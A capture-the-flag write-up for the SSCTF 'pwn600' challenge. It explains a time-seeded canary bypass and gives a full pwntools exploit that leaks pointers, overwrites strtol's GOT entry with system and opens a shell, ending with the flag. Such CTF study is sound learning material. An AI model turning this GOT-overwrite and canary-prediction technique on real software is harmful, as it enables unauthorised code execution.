Points: 600 Solves: Category: Exploitation Description:
If you haven’t read the first part, pwn400, please do so before continuing. In this post I will only explain the differences between pwn400 and pwn600, and of course the exploitation methods.
The biggest difference is that here, we have a call to srand(time()) followed by rand(). The resulting value is used as a canary between the list->number_of_elements and list->array[n].
struct list {
int number_of_elements;
int canary;
int array[n];
}
The canary is checked every time, we try to Update an index. If the canary has changed from the original value, the binary exits. Another difference is that here for the Main Menu’s option is compared with rep cmpsb instruction instead of strcmp. However, Sort Menu’s options are converted from ascii to integers via strtol which will allow us to substitute with system() and use just like we used strcmp in the previous part.
Knowing that our plan of action does not differ much.
- Calculate the canary
- Make list of 2 elements
- Use canary and 0x40000001 as elements
- Sort, so the ptr to the struct is saved
- Leak the ptr to the struct
- Overwrite the ptr to struct with ptr to struct+8
- Update the elements so they are no longer sorted. We need the number_of_elements in index 0 and canary in index 1
- Invoke ‘reload’ to cause the initialization of the new active list. This list just like before, it will use our array[0] as number_of_elements and array[1] as canary
- Leak strtol address
- Replace strtol with system
#!/usr/bin/env python
from pwn import *
import sys, time, ctypes
# Step 1, calculate canary
LIBC = ctypes.cdll.LoadLibrary('./libc.so')
seed = LIBC.time(0)+1
LIBC.srand(seed)
ran = LIBC.rand()
r = remote('pwn.lab.seclover.com', 22222)
#r = process(['./pwn2-58461176'])
#print util.proc.pidof(r)
#sys.stdin.read(1)
# Steps 2, 3
garbage = r.recv()
r.sendline("sort")
r.sendline("2")
r.sendline(str(int(ran) ^ 1073741825))
r.sendline("1073741825")
# Step 4
r.sendline("3")
# Step 5
r.sendline("1")
r.sendline("2")
garbage = r.recvuntil("Query result: ")
leak = r.recvline()
log.info("Leak: " + hex(int(leak)))
# Step 6
r.sendline("2")
r.sendline("2") # 1st index
r.sendline(str(int(leak) + 8))
# Step 7
r.sendline("2")
r.sendline("0")
r.sendline("1073741825")
r.sendline("2")
r.sendline("1")
r.sendline(str(int(ran) ^ 1073741825))
r.sendline("7")
# Step 8
r.sendline("reload")
r.sendline("0")
# Step 9
r.sendline("1")
r.sendline(str( (0x10804c024 - (int(leak)+38)) / 4 )) # Leak strtol@got
time.sleep(2)
garbage = r.recvuntil("Query result:")
strtol = r.recvline()
log.info("strtol: " + hex( abs((int(strtol) ^ 0xffffffff) + 1) ))
# Step 10, overwrite strlen with system
r.sendline("2")
r.sendline(str( (0x10804c024 - (int(leak)+38)) / 4 ))
r.sendline(str( int(strtol) + 0xb6e0 )) # Local 0xbbd0
r.sendline("/bin/sh")
r.interactive()
# pwn600 SSCTF{eaf05181170412ab19d74ba3d5cf15b9}